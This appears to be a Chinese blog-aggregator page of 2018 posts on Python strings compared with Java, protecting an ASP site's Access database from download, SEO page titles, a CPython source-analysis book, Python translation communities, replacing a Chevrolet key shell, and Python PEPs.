# 直接用比较符号进行compare
myName > cmpName  
>>> False
myName == newName
>>> True
cmpName != newName
>>> True

# 比较是否同一对象
myName is cmpName
>>> False
myName is newName
>>> True
上例中,如果把赋值的字符串换成列表或者其它对象,这些比较操作也是可以进行的。也就是说,作比较的能力 是 Python 公民们的一项基本能力,并不会因为你是字符串就给你设限,或者给你开特权。
与此类似,Python 公民们自带求自身长度的能力 ,len() 方法是内置方法,可以直接传入任意序列参数,求解长度。Java 中则要求不同的序列对象,只能调用各自的 length() 方法。说个形象的比喻,Python 中共用一把秤,三教九流之辈都能拿它称重,而Java 中有多把秤,你称你的,我称我的,大家“井水不犯河水”。
Python 中曾经有 cmp() 方法和 __cmp__() 魔术方法,但官方嫌弃它们鸡肋,所以在Python 3 中移除掉了。虽然在 operator 模块中还为它留下了一脉香火,但保不定哪天就会彻底废弃。
import operator
operator.eq('hello', 'name')
>>> False
operator.eq('hello', 'hello')
>>> True
operator.gt('hello', 'name')
>>> False
operator.lt('hello', 'name')
>>> True
(3)墙上的门
在 Java 中,字符串还有一个强大的 valueOf() 方法,它可以接收多种类型的参数,如boolean、char、char数组、double、float、int等等,然后返回这些参数的字符串类型。 例如,要把 int 转为字符串,可以用 String.valueOf(anynum) 。
Python 字符串依然没有这个单独的方法,但要实现相同的功能却很简便。对Python来说,不同的数据类型转换成字符串,那是小菜一碟,例如:
str(123) >>> '123'
str(True) >>> 'True'
str(1.22) >>> '1.22'
str([1,2]) >>> '[1, 2]'
str({'name':'python', 'sex':'male'})
>>> "{'name': 'python', 'sex': 'male'}"
而从字符串转换为其它类型,也不难,例如,int(‘123’) 即可由字符串’123’ 得到数字 123。对比 Java,这个操作要写成 Integer.parseInt('123')
在Java 的不同数据类型之间,那道分隔之墙矗立得很高,仿佛需要借助一座更高的吊桥才能沟通两边,而在灵活的 Python 里,你可以很方便地打开墙上的那扇门,来往穿越。
小结一下,跟 Java 相比,Python 字符串确实没有几项方法,但是事出有因,它们的天赋能力可不弱,所有这些操作都能简明地实现。一方面,Python 字符串做不到某些事,但是另一方面,Python 可以出色地做成这些事,孰优孰劣,高下立判。

6. 总结

写文章贵在善始善终,现在给大家总结一下:本文主要介绍 Python 字符串特有的操作方法,比如它的拼接、拆分、替换、查找及字符判断等使用方法,从正向回答,Python 字符串能做什么?最后,我们还从反向来回答了 Python 字符串不能做什么?有些不能做,实际上是 不为,是为了在其它地方更好地作为,归根到底,应该有的功能,Python 字符串全都有了。
本文中依然将 Python 与 Java 做了比较,有几项小小的差异,背后反映的其实是,两套语言系统在世界观上的差异。古人云,以铜为镜,可以正衣冠。那么,在编程语言的世界里,以另一种语言为镜,也更能看清这种语言的面貌。希望这种跨语言的思维碰撞,能为你擦出智慧的火花。
扩展阅读:
Java字符串比较方法:
Python3为何取消cmp方法:

November 24, 2018 12:00 AM

November 21, 2018

anji66

如何防止Access数据库被下载?

最近负责网络安全的各相关部门到处在追查各种漏洞,这不一个客户的老网站被扫描出了一个漏洞,漏洞详情是存在数据库文件泄露安全风险。需要及时处理。我就去翻了一下客户的程序,有几年了,并且是放置在客户的物理服务器上的,八成是相关的目录权限也没有做,估计客户那边也没有懂服务器的人,只好从不操作服务器配置的角度入手解决这个问题。


Access数据库因其是一个独立的文件,无需额外的部署,和ASP搭配便捷,往往作为ASP的标配。如果不巧mdb的数据库路径被扫描出来了,只需要通过浏览器就可以把数据库下载到本地,这就是安全隐患了。


防下载第一步给Access设置密码

给access设置密码主要是为了增加数据库被下载后的打开难度。通过以独占方式打开mdb文件,在数据库工具菜单中设置数据库密码给access设定一个高强度的密码。

QQ图片20181122015954.png


防下载第二步改文件名

改文件名,重要的是将文件名加上各种符号,特别是#好,可以做到很好的阻断,不过道高一尺魔高一丈,把#号使用urlencode转换成%23,就阻断效果就失效了。这只能算是组合措施中的一部分动作。


防下载第三步改文件扩展名

通常access数据库的扩展名是默认的mdb,被扫描的时候,别人肯定也是有针对性的扫描。那么将扩展名换一个能起到防扫描的目的,一般我们把mdb改成asa或者asp,以达到被iis解析的目的,这样也能阻止被直接下载。


防下载第四步修改数据库连接

上面三步做了调整以后,那对应的数据库连接文件也需要修改,由于连接有采用ODBC的,有采用OLEDB的,根据实际情况,修改连接字符串,加入连接密码。如果数据库被下载了,还需要下载连接文件,事实上增加了破解难度。


防下载第五步检查MIME映射类型

一般情况下,做好上述措施后即可测试下mdb是否仍会被下载,博主今天遇到的就是通过数据库路径访问后,发现浏览器加载出了数据库的内容,虽然是乱码的,这还是不行。所以再IIS配置里面查找下asa的映射,如果服务器上的程序无需指定解析asa的文件,建议直接删除对应的映射即可。当然还有修改映射的方式,也可以实现相同效果。


by 西枫里 at November 21, 2018 05:41 PM

November 20, 2018

anji66

SEO中网页标题该怎么写?

写这篇文章缘起于那天沈独秀那个西北汉子转发的百度优化指南。指南内容主要是将关于网页标题搜索规范的问题论述。网页标题这里是特指html中的title标签,搜索引擎索引网页后用于展现的主体往往也是title的内容,由此可见优化好标题的重要性。本文尝试从若干个角度来总结一下百度优化实践中关于页面标题的书写技巧。



关于网页标题中使用符号

百度的优化指南中详尽描述的网页标题中使用的各种情况,那天沈独秀大汉说到首页标题中使用分隔符的问题。例如本博客首页使用的标题:西枫里博客 | 记录编程建站优化的学习博客。这里我使用的是竖线,并在竖线两边各留了一个空格。百度的建议是将多个短横线---,竖线|,下划线_,破折线—— 统一修改为一个短横线。不过我认为,用竖线、下划线和破折线都不打紧,如果你的网页有一段时间了,并且被百度正常收录,建议不要修改了。以后新增的页面可以建议直接使用短横线。下表是百度提供的关于符号使用建议,仅供参考。

未标题-1.jpg


写好各种类型页面的标题

1、首页标题。

首页是一个网站的入口,最重要的当然是表明网站身份,就像人的身份一样,首先肯定是网站名,公司网站建议使用公司全称,或者约定的简称。如果单单是网站名称似乎不足以说明身份,好比有些公司名字和经营的业务很难联想起来,那么就需要使用一个修饰短句。名称和短句之间使用短横线分割。如果很难找到修饰短句也可以使用主营的关键词来修饰,但是切记关键词不能多个,最好就使用一个关键词。

2、栏目页标题。

栏目或者是频道这样一个概念,标题上第一位体现栏目名称或者频道名称,后面使用短横线连接它的上级栏目。如果一定要强调逻辑归属,还可以在后面继续补上站点名称。在企业网站优化的过程中,我建议只要两级就可以了,如果栏目层次不深的话,上级栏目可以直接用站点名称替换。三层深度应该在我们优化过程中算一个分界点,别太深了,不好。

3、主体内容页面。

内容页是最终的落地页面,用户访问要查看的信息都在最终页面上显示,内容页的标题建议使用这篇文章的标题作为网页标题,后面也可以陆续跟上栏目名称和站点名称。还是那句话,层次别太深。


标题撰写原则

首先是实事求是,正如百度说的,你明明不是官网,非得在官网上写上官网,这不是技术问题了,而是诚信问题。

第二不要挂羊头卖狗肉,页面的主题和标题风马牛不相及,纯粹是给蜘蛛喂料,这样也会招致惩罚。

第三杜绝功利,比如您公司从事很多业务,只需要将主要的一项业务提炼出来作为修饰标题的短句,或者作为关键词修饰,切不可关键词堆砌,所谓贪多嚼不烂就是这个道理了。

第四模拟人工检索,通常我们在取页面标题的时候,特别是最终的内容页面,可以尝试站在访问者的角度来模拟用户可能会搜索的词,或整句,将词或者句子有机的整合在页面标题中,提升搜索的契合度。


SEO实际上是一门摸石头过河的学问,搜索引擎也是通过层出不穷的优化手法中去调整算法。只要不是很明确的作弊行为,搜索引擎的宽容度还是不错的,所以并非一定要按照建议去修改你的存量网页,更多的是要将增量的内容按要求来做。


by 西枫里 at November 20, 2018 07:02 AM

November 18, 2018

pythoncat

Python猫荐书系列之四:《Python源码剖析》

大家好,新一期的荐书栏目如期跟大家见面了。
先来看看今天的主角是谁:《Python源码剖析——深度探索动态语言核心技术》,2008年出版,作者 @陈儒 ,评分8.7分。
是的,你没看错,出版年份2008年。这本书基于Python2.5,到了十年后3.7版本的年代,可以说大部分内容已经过时了,而且,还可能缺失了很多关键内容。那你也许会问,一本过时的书,有啥好推荐的呢?下面且听我给你慢慢道来。

一个巧合,一份期待

在写第一篇荐书《编写高质量代码改善 Python 程序的 91 个建议》的时候,我偶然发现知乎上有人提及,说 @赖勇浩 大大正在接手这本源码剖析的新版本编写,很多人留言说期待。我想起曾经看到,有人推荐过这本书,于是便去查了一下。
书的内容简介中有这一段,我看了便觉得兴趣满满:

本书以CPython为研究对象,在C代码一级,深入细致地剖析了Python的实现。书中不仅包括了对大量Python内置对象的剖析,更将大量的篇幅用于对Python虚拟机及Python高级特性的剖析。通过此书,读者能够透彻地理解Python中的一般表达式、控制结构、异常机制、类机制、多线程机制、模块的动态加载机制、内存管理机制等核心技术的运行原理,同时,本书所揭示的动态语言的核心技术对于理解其他动态语言,如 Javascript、Ruby等也有较大的参考价值。

作为一个半路上车,刚走出新手村的Pythoner,我正愁如何才能成为一个优秀的Pythonista,这本书闪耀着绝世秘籍的光芒,我起初有点望而却步,过后却又跃跃欲试。
那么,新书啥时候上市呢?在华蟒用户组 里,正好有人问到这个消息,群众们纷纷表示翘首以待。不过,赖勇浩站出来回复了:
看回复的时间,这事已经过去一年了…
虽然这个神秘的新作者拖稿了,但书的期待值并未因此减损,相反,这恰恰意味着新书上市之日更近了!说不定就在明年上半年了呢。赶在新书出版前,我们荐书栏目先来安利一波,这绝对是一件有先见之明的事,喵喵,美滋滋~~~

一份提纲,一些建议

铺垫了这么多,接下来要好好说下这本书的内容了。以下内容仅针对08版书籍,等新版上市后,荐书栏目会对两版的差异跟进介绍。
全书主要分两部分,第一部分(1-6章)剖析Python的几大内建对象(如整数、字符串、列表、字典),涉及对象创建、维护、缓冲池、提升效率的机制等内容;第二部分(7-16章)剖析Python虚拟机,涉及虚拟机框架、一般表达式、控制流、函数机制、类机制、运行环境初始化、动态加载机制、多线程机制、内存管理机制等内容。
有道是,Python中万物皆对象。而Python是用C语言实现的,C语言却是典型的面向过程语言 ,那么,它是如何实现”万物皆对象“的呢?实际上,Python对象是C的结构体在堆上申请的一块内存(包括连续内存与非连续内存),所有内建的类型对象都是被静态初始化了的。
按照书中的分类,Python对象可分如下:
其中,Fundamental对象是指类型对象,Numeric对象是指数值对象,Sequence对象是指容纳其它对象的序列集合对象,Mapping对象是类似于C++中map的关联对象,Internal对象是Python虚拟机在运行时内部使用的对象。
还有一种分类方式,Python对象可以分为定长对象 与变长对象。从这些分类中可以看出,Python对象之间存在着天然差异,那么,不同对象的生命周期管理(创建、维护、使用、回收)、对象的多态、对象缓冲池、以及其它特有的机制,这些都是怎么实现的呢?
书中第一部分内容就是对以上问题的回答。阅读过程中,我读到了一些熟悉的内容,例如之前在《Python中的“特权种族”是什么?》中发明的“特权种族”(例如神秘的[-5,256]数字、以及Intern机制的短字符串),它们在内建对象剖析的部分里都有。阅读的过程,就是从知其然,到知其所以然的过程,于我大有益处。
说实话,源码分析的部分,对我来说太难了,因为C语言基础早已交还给大学老师了…但是,阅读第一部分的好处是,你不必完全懂源码,因为作者加了很多注释,相关的分析过程也很详尽。
至于书中的第二部分,我还不敢进入。这部分需要一些编译原理知识、字节码及虚拟机知识。留待今后继续学习。
全书章节的编排结构特别清晰,已经提供了一份很好的学习路径提纲。这里,我还搜集了一些阅读建议,下面看看有什么:

如果你在用一门高级语言,想了解语言的实现原理,这本书是你的必选;如果你是一个 C/C++ 程序员,想写出高质量的程序,这本书也是你必选。—— @simonliu

需要说明的是,我不会向python语言的学习者推荐这本书,因为它不是一本python语言的教材。相反,作为分析Python运行时机制的专著,书中充斥着有关C、C++的讨论(我还读到了有用java做为比较的段落)。这不要求读者是专业的C/C++程序员,但是至少应该能够读懂C代码,最好知道 C++ STL是怎么回事。…我坚信,这本优秀的著作,值得译为英文,向全世界的C/C++/Python程序员推荐。——@膘

很好的讲解Python源码剖析的书籍,深入讲解了Python的各种特性是如何通过C语言实现的,对于想了解Python底层实现的程序员很有帮助,讲解的很详细,不过看底层C实现看多了也确实容易乏味、消磨耐性,尤其后面高级特性的剖析时,看起来愈发吃力、费劲。 目前先通读了一遍,帮助自己了解了Python的不少特性和其底层机制,还有很多地方草草略过并不十分明白,日后实力更上一层楼时,再回来拜读。 好书推荐!——@流星云

源码可以不读,这本书还是值得读的。——@赖勇浩

常备的手边书,深入了解Python的好书。——@清风

一份资源,更多福利

相信能够读到这里的读者,都燃起了一些阅读兴趣,可以“按图索骥”去学习。电子学习资源很多,对于爱学习 的你们来说,这不是啥难事。豆瓣读书、当当网和京东图书上,也有电子书可购买。
但是,如果你想买纸质书,不好意思,早就绝版了。二手旧书的价格贵得吓人,下面讯息给不差钱的同学们参考下:
在中英文的Python书籍中,这本剖析源码的书籍,可能是绝无仅有的一本,就凭这点,怎么推荐都不为过。对于可能会很快上市的新书,则是怎么期待都不为过的。如果有小伙伴知道出版消息,恳请在后台告知于我,不胜感激。
在荐书《黑客与画家》的时候,我们送出了一本精装书福利。等到这本源码剖析的新书上市时,送书福利肯定会是大大的,大家拭目以待吧。当然,后续其它荐书的书目,也很有可能会送福利,一样不容错过。
所以,我要打个小广告,还没关注的小伙伴,赶紧扫描下方二维码,立刻关注公众号Python猫 ,关注我们的荐书栏目,让我们一同学习,一同进步,一同抢福利,喵喵喵~~~
往期荐书回顾:
第二期:《Python最佳实践指南
第三期:《黑客与画家
延伸阅读:

November 18, 2018 12:00 AM

November 16, 2018

pythoncat

你真的知道Python的字符串是什么吗?

在《详解Python拼接字符串的七种方式》这篇推文里,我提到过,字符串是程序员离不开的事情。后来,我看到了一个英文版本的说法:

There are few guarantees in life: death, taxes, and programmers needing to deal with strings.

它竟然把程序员处理字符串跟死亡大事并列了,可见这是多么命中注定…
回头看其它文章,我发现这种说法得到了佐证,因为我在无意中已零零碎碎地提及了字符串的很多方面,例如:字符串读写文件、字符串打印、字符串不可变性、字符串Intern机制、字符串拼接、是否会取消字符串,等等。而这些,还只能算字符串面目的冰山一角。
既然如此,那干脆再单独写写Python的字符串吧。这篇内容可能会很基(li)础(lun),并不是什么“骚操作”或“冷知识”,权当是一份温故而求知新的笔记。

1 Python字符串是什么?

根据维基百科定义:字符串是由零个或多个字符组成的有限序列。而在Python 3中,它有着更明确的意思:字符串是由Unicode码点组成的不可变序列(Strings are immutable sequences of Unicode code points.)
字符串是一种序列,这意味着它具备序列类型都支持的操作:
# 以下的s、t皆表示序列,x表示元素
x in s  # 若s包含x,返回True,否则返回False
x not in s  # 若s包含x,返回False,否则返回True
s + t  # 连接两个序列
s * n  # s复制n次
s[i]   # s的索引第i项
s[i:j] # s切片从第i项到第j-1项
s[i:j:k]  #  s切片从第i项到第j-1项,间隔为k
len(s)  # s的长度
min(s)  # s的最小元素
max(s)  # s的最大元素
s.index(x) # x的索引位置
s.count(x)  # s中出现x的总次数
字符串序列还具备一些特有的操作,限于篇幅,按下不表。预告一下,下一篇《你真的知道Python的字符串怎么用吗? 》将会展开介绍,敬请期待…
字符串序列是一种不可变序列,这意味着它不能像可变序列一样,进行就地修改。例如,在字符串“Python”的基础上拼接“Cat”,得到字符串“PythonCat”,新的字符串是一个独立的存在,它与基础字符串“Python”并没有关联关系。
basename = "Python"
myname = basename + "Cat"
id(basename) == id(myname) >>> False

# 作为对比,列表能就地修改
baselist = ["Python"]
baselist.append("Cat")
print(baselist) >>> ['Python', 'Cat']
字符串这种序列与其它序列(如列表、元组)的不同之处在于,它的“元素”限定了只能是Unicode码点。Unicode码点是什么呢?简单理解,就是用Unicode编码的字符。那字符是什么呢?字符是人类书写系统的各类符号,例如阿拉伯数字、拉丁字母、中文、日文、藏文、标点符号、控制符号(换行符、制表符等)、其它特殊符号(@#¥%$*等等)。那Unicode编码又是什么呢?Unicode别名是万国码、国际码,它是一种适用性最广的、将书写字符编码为计算机数字的标准。
总所周知,在最底层的计算机硬件世界里,只有0和1。那么,怎么用这个二进制数字,来表示人类的文化性的字符呢?这些字符数量庞大,而且还在日益增长与变化,什么样的编码方案才是最靠谱的呢?
历史上,人类创造了多种多样的字符编码标准,例如ASCII(1963年)编码,以西欧语言的字符为主,它的缺点是只能编码128个字符;例如GB2312(1981年),这是中国推出的编码标准,在兼容ASCII标准的基础上,还加入了对日文、俄文等字符的编码,但缺点仍是编码范围有限,无法表示古汉语、繁体字及更多书写系统的字符。
Unicode编码标准于1991年推出,至今迭代到了第11版,已经能够编码146个书写系统的130000个字符,可谓是无所不包,真不愧是“国际码”。Unicode编码其实是一个二进制字符集,它建立了从书写字符映射成唯一的数字字符的关系,但是,由于各系统平台对字符的理解差异,以及出于节省空间的考虑,Unicode编码还需要再做一次转换,转换后的新的二进制数字才能作为实际存储及网络传输时的编码
这种转换方式被称为Unicode转换格式(Unicode Transformation Format,简称为UTF),它又细分为UTF-8、UTF-16、UTF-32等等方式。我们最常用的是UTF-8。为什么UTF-8最常用呢?因为它是可变长度的编码方案,针对不同的字符使用不同的字节数来编码,例如编码英文字母时,只需要一个字节(8个比特),而编码较复杂的汉字时,就会用到三个字节(24个比特)。
二进制的编码串可以说是给机器阅读的,为了方便,我们通常会将其转化为十六进制,例如“中”字的Unicode编码可以表示成0x4e2d ,其UTF-8编码可以表示为0xe4b8ad ,‘0x’用于开头表示十六进制,这样就简洁多了。不过,UTF-8编码的结果会被表示成以字节为单位的形式,例如“中”字用UTF-8编码后的字节形式是\xe4\xb8\xad
Python中为了区分Unicode编码与字节码,分别在开头加“u”和“b”以示区分。在Python 3中,因为Unicode成了默认编码格式,所以“u”被省略掉了。
# 字符转Unicode编码
# Python3中,开头的u被省略,b不可省略
hex(ord('中')) >>> '0x4e2d'
hex(ord('A'))  >>> '0x41'

# 字符转UTF-8编码(encode)
'中'.encode('utf-8') >>> b'\xe4\xb8\xad'
'A'.encode('utf-8')  >>> b'A'

# Unicode编码还原成字符
chr(0x4e2d) >>> '中'
chr(0x41) >>> 'A'

# UTF-8编码还原成字符(decode)
b'\xe4\xb8\xad'.decode('utf-8') >>> '中'
b'A'.decode('utf-8') >>> 'A'
总结一下,Python 3 中的字符串是由Unicode码点组成的不可变序列,也即是,由采用Unicode标准编码的字符组成的不可变序列。Unicode编码将书写系统的字符映射成了计算机二进制数字,为了方便,通常显示为十六进制;在运算内存中,字符以Unicode编码呈现,当写入磁盘或用于网络传输时,一般采用UTF-8方式编码。
在Python 2中,因为历史包袱,即Python先于Unicode编码而诞生,所以其编码问题是个大难题。幸好抛弃Python 2已成大势所趋,所以我就不再对此做介绍或比对了。

2 Python字符串 VS Java字符串

虽然不提纵向版本间的差异,但是,我想将Python字符串与其它编程语言做一个横向对比。我觉得这会是挺好玩的事。通过跨语言的比较,也许我们能加深对一个事物(字符串)的理解,还可能受到启发,得到对“编程语言”及“编程哲学”的领悟。
由于本人才疏学浅,本文就只对两点皮毛特性作说明,欢迎读者斧正和补充。
(1)字符串的定义方式
Python的字符串是内置类型,所以使用起来很方便,有如下三种定义方式:
str_0 = '''Python字符串可以写在用三引号对内,表示多行字符串。
还可以写在单引号对内,
当然还可以写在双引号对内。
'''

str_1 = 'Python猫是一只猫'
str_2 = "Python猫是一个微信公众号"
Java的字符串不是内置类型,它属于对象,需要通过String类来创建。不过,正因为字符串太常用,所以Java特意预定义了一个字符串类String,使得程序员也可以像这样来定义:String name = "Python猫"; ,而不必这样写:String name = new String("Python猫");
Java的字符串只能写在双引号内,不具备Python中单双引号混用的灵活。至于三引号的多行字符串表示法,Java程序员表示羡慕得要死,那种痛苦,受过折磨的人最懂。写出来让Python程序员开心一下:
String s = "Java 的多行字符串很麻烦,\n"
         + "既要使用换行符,\n"
         + "还需要使用加号拼接";
为什么Java不支持多行字符串、什么时候支持多行字符串?此类问题在Python程序员眼里,可能很费解,但它绝对能排进“Java程序员最希望能实现的特性”的前列。好不容易,官方有计划在Java 11 实现,但今年9月发布的Java 11 仍是没有,现在改计划到Java 12 了。
(2)单个字符与字符序列
Java中其实也有单引号的使用,用在char类型上,例如char c = 'A'; 。char是一种内置类型,表示单个用Unicode编码的字符。Python中没有char类型,字符串类型通吃一切。
前面说到,Python的字符串是一种字符序列,而Java的字符串并不是一种序列,要表示相近的概念的话,就得用到字符数组 或者 字符串数组 ,例如:
char[] a = { 'a', 'b', 'c'};  
String[] str = new String[]{"1","2","3"}; 
字符数组和字符串数组是一种序列,但并不是字符串,它们之间如果要相互转换,还是挺麻烦的。另外,说是序列,但Java的序列操作绝对无法跟Python相比,别的不说,就上面提及的几个基础操作,试问Java能否实现、实现起来要花费多大力气?
最后来个Ending,关于“Python字符串到底是什么”就说到这啦,希望对你有所帮助。下次,我再跟大家说说“Python字符串到底怎么用”,敬请期待。
拓展阅读:

November 16, 2018 12:00 AM

November 14, 2018

pythoncat

再聊聊 Python 中文社区的翻译

在写《学习Python,怎能不懂点PEP呢?》的时候,我已经发现国内的Python翻译环境不容乐观。这个结论可能不对,毕竟这几年Python大热,或许有不少优秀的翻译项目,只是我还不知道而已。
不管如何,接着上一篇关于“Python学习资料汉化”的话题,今天,我们再聊聊Python中文社区的翻译话题。

Python部落的翻译社

很巧合的是,Python部落(公众号:Python程序员)刚刚低调地上线了“翻译社”功能。在公众号文章里,他们写到了推出这个项目的意图,我对此深为认可:

我们要及时地了解英文Python社区的进展, 深入地发掘Python语言的能力, 积极地参与Python领域的活动和倡议. 所以, 将国外优质的文章翻译为中文呈现给大家, 这个事情刻不容缓!

事先声明,这不是一篇软文,我跟他们没有合作关系。我本来计划要分享一篇英文技术博客,但是排版折腾了很久,怎么调都不如意,最后只好放弃。可是,我又不想再断更,怎么办呢?那正好借“翻译社”上线,来聊聊“Python学习资料汉化”的话题了。
首先,简单介绍一下“翻译社”。它是“Python部落”网站的一个功能,以任务的形式发布了一些英文文章的链接,你可以去认领任务,按照几条质量管控的规则进行翻译和提交即可。
按照任务分类,他们提供了三类翻译任务:Python、Web前端与Docker,不过点开看,只有十几篇Python文章,其它两类仍是空缺。这可以看出,他们应该是一个小团队,有想法,但刚起步。除此之外,翻译社不支持用户提交新的任务,我觉得这是一个遗憾,希望他们后续考虑下。
根据公众号文章的说明,他们会给过审的翻译作品支付稿费,但这点在网站上没有体现。我知道翻译技术文章不容易,不管稿酬有多少,这都是一种积极的认可与正向激励。所以,如果有小伙伴感兴趣,可以去了解一下。

Pythoncaff社区

接下来,我要介绍一个Python开发者社区(网址:https://pythoncaff.com ),这个社区里活跃着一些乐意参与Python翻译的小伙伴。
我之所以会知道这个社区,是因为第二期的荐书《Python最佳实践指南》,当时我找到了两个翻译版本,对比下来,发现这个社区的翻译版本更好,于是,我就收藏了。
除了这本书,他们还组织翻译了基于Python3.7版本的《Python官方文档:入门教程》、《Python3标准库实例教程》和《Python简明教程》,翻译质量感人。
这个社区表面看起来没人气,首页上竟然有半数文章发表于两周前,但是,当看到参与翻译的人数时,我又对它充满了信心。当然,这也是我向大家推荐它的理由。

Python 官方文档中文翻译项目

虽然Pythoncaff社区组织了对Python官方文档的翻译,但他们只是完成了入门教程的部分。事实上,Python官方也有一个完整版的翻译项目。
首先,我要提到 PEP 545(Python Documentation Translations),这里说明了官方的翻译项目的各项细节。官方翻译项目使用的是Transifex平台,翻译者以国家为单位组成团队,进行协作翻译。
目前,有34个进行态的翻译团队,中文团队(大陆)的翻译进度刚过10%,跟排第一的日本(约80%)相比,落后很多。这项数据,从侧面印证了我之前的观点:国内的Python翻译环境不容乐观。
尽管现状如此,但我坚信这种局面必然会得到改善。因为国内的Python学习者不仅仅是人数众多,其中有意愿和能力进行英文翻译的人也很多。
或许,他们恰好不知道有这样的翻译需求,不知道有一些优秀的团队和社区可以去加入,不知道有一些翻译项目其实可以很方便地做贡献,才没有参与罢了。
所以,这也是我写这篇文章的目的,希望通过介绍这方面的内容,提供些有用的信息,帮助到这些小伙伴。

November 14, 2018 12:00 AM

November 13, 2018

anji66

科鲁兹、英朗等雪佛兰别克系更换车钥匙壳

双十一原本不想凑热闹,无奈女儿的洗衣皂没了,要买。老婆不知道听谁说的小孩要补DHA,得买。然后拿着车钥匙去车上找东西,把钥匙给按破了,得买。于是说好不剁手的双十一,还是没忍住。车钥匙经过六年的折腾,也没带个套,按来按去,终于抗不牢了,按键破掉了,话说换个钥匙壳这种小事还是自己动手比较好,淘宝一搜就来了,如果你也需要,可以点击这里



▼看看原厂钥匙被虐的惨况。

1.jpg


▼这个是淘宝买来的钥匙壳和拆装工具。

2.jpg


先拆新壳。

新壳拆起来也很简单,电池盖拔下来(后面有图),然后前后盖用力掰开缝,然后从尾部金属吊扣处纵向一掰就开了。拆开好的配件放一边。

3.jpg


拆原车钥匙机械部分。

下图这里有个插销,将钥匙和转轴连接在一起的,使用赠送的小铳子,对这插销,一顿敲,插销就出来了,老虎钳一拔就能下来,如图。

5.jpg

6.jpg


拆原车钥匙电池盖。

前面新钥匙壳的电池盖一样的拆法,钥匙按出来后,电池盖一抠就开了。

7.jpg


拆原车钥匙前后盖。

这部分是比较难拆的,方法其实和拆新壳的方法一致,只是原厂的这个卡的太紧了,不得以,我拿螺丝刀撬的缝,撬完后,强硬掰开。


组装钥匙及转轴。

方法就拆的方法一致,要注意,把钥匙头插入转轴后,看下插销眼,插销眼是不是一个圆形孔,如果有部分遮挡,就要使用赠送的三角锉刀给钥匙的卡槽打磨一下,否则待会儿用插销就卡不进去了。


组装转轴于钥匙壳的连接。

看下弹簧上有个小的短柄,钥匙后盖上有个对应的卡槽,短柄对牢卡槽,然后逆时针转两圈,扣上前后盖就搞定。转一圈,弹簧力度太小,两圈正好。如图。

8.jpg

9.jpg


拧上后台螺丝,贴好车标。

自己购买的这个钥匙壳前后盖加了一道螺丝固定,原车钥匙是没有的。拧上螺丝后在螺丝位置贴上车标即可,搞定,这次我把赠送的套套给带上了,显然带套很不爽。

10.jpg


by 西枫里 at November 13, 2018 02:44 PM

November 08, 2018

pythoncat

学习 Python,怎能不懂点 PEP 呢?

或许你是一个初入门Python的小白,完全不知道PEP是什么。又或许你是个学会了Python的熟手,见过几个PEP,却不知道这玩意背后是什么。那正好,本文将系统性地介绍一下PEP,与大家一起加深对PEP的了解。
目前,国内各类教程不可胜数,虽然或多或少会提及PEP,但笼统者多、局限于某个PEP者多,能够详细而全面地介绍PEP的文章并不多。
本文的目的是:尽量全面地介绍PEP是什么,告诉大家为什么要去阅读PEP,以及列举了一些我认为是必读的PEP,最后,则是搜罗了几篇PEP的中文翻译,希望能为Python学习资料的汉化,做点抛砖引玉的贡献。

PEP是什么?

PEP的全称是Python Enhancement Proposals,其中Enhancement是增强改进的意思,Proposals则可译为提案或建议书,所以合起来,比较常见的翻译是Python增强提案Python改进建议书
我个人倾向于前一个翻译,因为它更贴切。Python核心开发者主要通过邮件列表讨论问题、提议、计划等,PEP通常是汇总了多方信息,经过了部分核心开发者review和认可,最终形成的正式文档,起到了对外公示的作用,所以我认为翻译成“提案”更恰当。
PEP的官网是:https://www.python.org/dev/peps ,这也就是PEP 0 的地址。其它PEP的地址是将编号拼接在后面,例如:https://www.python.org/dev/peps/pep-0020 就是PEP 20 的链接,以此类推。
第一个PEP诞生于2000年,现在正好是18岁成年。到目前为止,它拥有478个“兄弟姐妹”。
官方将PEP分成三类:

I - Informational PEP

P - Process PEP

S - Standards Track PEP

其含义如下:
信息类:这类PEP就是提供信息,有告知类信息,也有指导类信息等等。例如PEP 20(The Zen of Python,即著名的Python之禅)、PEP 404 (Python 2.8 Un-release Schedule,即宣告不会有Python2.8版本)。
流程类:这类PEP主要是Python本身之外的周边信息。例如PEP 1(PEP Purpose and Guidelines,即关于PEP的指南)、PEP 347(Migrating the Python CVS to Subversion,即关于迁移Python代码仓)。
标准类:这类PEP主要描述了Python的新功能和新实践(implementation),是数量最多的提案。例如我之前推文《详解Python拼接字符串的七种方式》提到过的f-string方式,它出自PEP 498(Literal String Interpolation,字面字符串插值)。
每个PEP最初都是一个草案(Draft),随后会经历一个过程,因此也就出现了不同的状态。以下是一个流程图:

A – Accepted (Standards Track only) or Active proposal 已接受(仅限标准跟踪)或有效提案

D – Deferred proposal 延期提案

F – Final proposal 最终提案

P – Provisional proposal 暂定提案

R – Rejected proposal 被否决的提案

S – Superseded proposal 被取代的提案

W – Withdrawn proposal 撤回提案

在PEP 0(Index of Python Enhancement Proposals (PEPs))里,官方列举了所有的PEP,你可以按序号、按类型以及按状态进行检索。而在PEP 1(PEP Purpose and Guidelines)里,官方详细说明了PEP的意图、如何提交PEP、如何修复和更新PEP、以及PEP评审的机制等等。

为什么要读PEP?

无论你是刚入门Python的小白、有一定经验的从业人员,还是资深的黑客,都应该阅读Python增强提案。
依我之见,阅读PEP至少有如下好处:
(1)了解Python有哪些特性,它们与其它语言特性的差异,为什么要设计这些特性,是怎么设计的,怎样更好地运用它们;
(2)跟进社区动态,获知业内的最佳实践方案,调整学习方向,改进工作业务的内容;
(3)参与热点议题讨论,或者提交新的PEP,为Python社区贡献力量。
说到底,学会用Python编程,只是掌握了皮毛。PEP提案是深入了解Python的途径,是真正掌握Python语言的一把钥匙,也是得心应手使用Python的一本指南。

哪些PEP是必读的?

如前所述,PEP提案已经累积产生了478个,我们并不需要对每个PEP都熟知,没有必要。下面,我列举了一些PEP,推荐大家一读:
PEP 0 — Index of Python Enhancement Proposals
PEP 7 — Style Guide for C Code,C扩展
PEP 8 — Style Guide for Python Code,Python编码规范(必读)
PEP 20 — The Zen of Python,Python之禅
PEP 202 — List Comprehensions,列表生成式
PEP 274 — Dict Comprehensions,字典生成式
PEP 234 — Iterators,迭代器
PEP 257 — Docstring Conventions,文档注释规范
PEP 279 — The enumerate() built-in function,enumerate枚举
PEP 282 — A Logging System,日志模块
PEP 285 — Adding a bool type,布尔值(建议阅读《Python对象的身份迷思:从全体公民到万物皆数》)
PEP 289 — Generator Expressions,生成器表达式
PEP 318 — Decorators for Functions and Methods,装饰器
PEP 342 — Coroutines via Enhanced Generators,协程
PEP 343 — The “with” Statement,with语句
PEP 380 — Syntax for Delegating to a Subgenerator,yield from语法
